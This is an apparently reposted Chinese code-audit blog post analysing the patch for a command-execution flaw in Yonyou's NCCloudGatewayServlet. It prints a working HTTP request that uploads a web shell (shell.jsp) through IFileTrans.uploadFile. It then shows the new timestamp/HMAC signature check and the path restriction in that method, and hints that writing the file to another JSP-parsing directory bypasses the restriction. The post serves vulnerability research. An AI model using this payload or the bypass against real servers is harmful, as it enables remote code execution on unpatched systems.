文章总结： 文章分析了用友NCCloudGatewayServlet的命令执行漏洞及其补丁绕过方法，通过检查时间戳和签名验证机制，并分析uploadFile方法中的路径检测限制，提出了利用其他可解析JSP路径的攻击思路，但未展示具体复现细节以促进学习交流。
综合评分： 75
文章分类： 代码审计,漏洞分析,补丁绕过,WEB安全,应用安全

【代码审计】用友NCCloudGatewayServlet 命令执行漏洞补丁分析

原创

黄细胞安全实验室

红细胞安全实验室

2025年10月29日 10:04
广东

补丁绕过

补丁： https://security.yonyou.com/#/patchInfo?identifier=9695976d67dd4786badf91df6cb6578c

漏洞分析

因为之前分析过这个洞，所以这里直接贴payload了

GET /service/NCCloudGatewayServletHost: 192.168.10.30:8088gatewaytoken:&nbsp;Accept-Language: zh-CN,zh;q=0.9Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brConnection: keep-aliveContent-Length: 2180
{"accountCode":"U8cloud","user":"testuser","serviceInfo":{"serviceClassName":"nc.itf.hr.tools.IFileTrans","serviceMethodName":"uploadFile","serviceMethodArgInfo":[{"argType":{"body":"java.lang.Byte"},"argValue":{"body":[]},"agg":"false","isArray":"true","isPrimitive":"true"},{"argType":{"body":"java.lang.String"},"argValue":{"body":"webapps/u8c_web/shell.jsp"},"agg":"false","isArray":"false","isPrimitive":"false"}]}}

补丁分析

因为之前有其他补丁修复过nc.itf.hr.tools.IFileTrans也把这个补丁考虑进去补丁： https://security.yonyou.com/#/patchInfo?identifier=565b9cc1214b473dbeb4ab96eeafec08 但是网上的其他复现都是用的nc.bs.pub.util.ProcessFileUtils来实现命令执行，有一点出入，因为不想再去找其他可利用的类了，看看能不能复活这个iFileTrans

首先是对硬编码的修复

ounter(lineGateWayUtil.checkGateWayTokenNew(request.getHeader("ts"),request.getHeader("sign"));

校验方式从之前的解密对比变成了验证时间戳和签名，具体实现如下：

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(linepublic&nbsp;static&nbsp;void&nbsp;checkGateWayTokenNew(String ts, String sign)&nbsp;throws&nbsp;Exception { &nbsp;&nbsp; &nbsp;&nbsp;if&nbsp;(StringUtils.isEmpty(ts) || StringUtils.isEmpty(sign)) { &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;throw&nbsp;new&nbsp;Exception("您没有请求该服务的权限，请重启网关"); &nbsp;&nbsp; &nbsp; } &nbsp;&nbsp; &nbsp;&nbsp;try&nbsp;{ &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;long&nbsp;tsLong&nbsp;=&nbsp;Long.parseLong(ts); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(Math.abs(System.currentTimeMillis() - tsLong) >&nbsp;180000) { &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;throw&nbsp;new&nbsp;Exception("您没有请求该服务的权限，参数已过期"); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; } &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(!StringUtils.equals(sign, sign(ts))) { &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;throw&nbsp;new&nbsp;Exception("您没有请求该服务的权限，sign验签失败"); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; } &nbsp;&nbsp; &nbsp; }&nbsp;catch&nbsp;(Exception e) { &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;throw&nbsp;new&nbsp;Exception("您没有请求该服务的权限，ts参数异常"); &nbsp;&nbsp; &nbsp; } &nbsp;}
public&nbsp;static&nbsp;String&nbsp;sign(String str)&nbsp;throws&nbsp;NoSuchAlgorithmException, InvalidKeyException { &nbsp;&nbsp; &nbsp;&nbsp;return&nbsp;sign(str,&nbsp;new&nbsp;Encode().decode(getProp().getProperty("nccloud.gateway.nctoken"))); &nbsp;}
public&nbsp;static&nbsp;String&nbsp;sign(String str, String secret)&nbsp;throws&nbsp;IllegalStateException, NoSuchAlgorithmException, InvalidKeyException { &nbsp;&nbsp; &nbsp;&nbsp;Mac&nbsp;mac&nbsp;=&nbsp;Mac.getInstance("HmacSHA256"); &nbsp;&nbsp; &nbsp; mac.init(new&nbsp;SecretKeySpec(secret.getBytes(StandardCharsets.UTF_8),&nbsp;"HmacSHA256")); &nbsp;&nbsp; &nbsp;&nbsp;byte[] signData = mac.doFinal(str.getBytes(StandardCharsets.UTF_8)); &nbsp;&nbsp; &nbsp;&nbsp;return&nbsp;new&nbsp;String(Base64.encodeBase64(signData))&nbsp; &nbsp; ; &nbsp;}

传入的时间戳应当是当前时间的前后180000毫秒之内，然后将原本的gatewaytoken作为HmacSHA256的key来生成一个签名。原本的payload，接下来生成对应的ts和sign现在是已经可以成功调用到nc.impl.hr.tools.trans.FileTransImpl#uploadFile，去看另外一个补丁对这个方法的处理

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(linepublic&nbsp;boolean&nbsp;uploadFile(byte[] data, String remoteAbsPath)&nbsp;throws&nbsp;IOException, BusinessException { &nbsp;&nbsp; &nbsp;&nbsp;try&nbsp;{ &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;String&nbsp;ctxPath&nbsp;=&nbsp;RuntimeEnv.getInstance().getCanonicalNCHome(); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;String&nbsp;realPath&nbsp;=&nbsp;String.valueOf(ctxPath) + File.separator +&nbsp;"webapps"&nbsp;+ File.separator +&nbsp;"u8c_web"&nbsp;+ File.separator; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(new&nbsp;File(remoteAbsPath).getCanonicalPath().startsWith(new&nbsp;File(realPath).getCanonicalPath())) { &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;throw&nbsp;new&nbsp;BusinessException("Illegal File Path"); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; } &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;byte[] data2 = ZipUtil.extract(data); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;FileOutputStream&nbsp;output&nbsp;=&nbsp;new&nbsp;FileOutputStream(remoteAbsPath); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; output.write(data2); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; output.flush(); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; output.close(); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;true; &nbsp;&nbsp; &nbsp; }&nbsp;catch&nbsp;(Exception e) { &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; Logger.error(e.getMessage(), e); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;throw&nbsp;new&nbsp;BusinessException(e.getMessage()); &nbsp;&nbsp; &nbsp; } &nbsp;}

实际上是在检测是否以realPath开头，在我的环境中是C:\U8CERP\webapps\u8c_web，实际上去找一个别的可以解析jsp的地方就行了

漏洞复现

因为官网暂未发布最新补丁，这里具体细节就不展示了，希望大家可以自己去动手去分析补丁，旨在促进交流学习

免责声明

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：红细胞安全实验室黄细胞安全实验室《【代码审计】用友NCCloudGatewayServlet 命令执行漏洞补丁分析》

Tags: WEB安全代码审计应用安全漏洞分析

你可能错过

【安全圈】Next.js曝光9.5分严重漏洞：动态制图缺陷致服务端RCE

「济公」游本昌去世；罗永浩再评小米 18 Fold；Meta 推出手持设备 Muse Charm｜极客早知道

【客户端安全】代理绕过127监听CDP+Websocket协议未授权RCE漏洞

别再把LLM当扫描器用了：CyberStrike把Claude订阅变成了一个会自己思考的红队操作员

【代码审计】用友NCCloudGatewayServlet 命令执行漏洞 补丁分析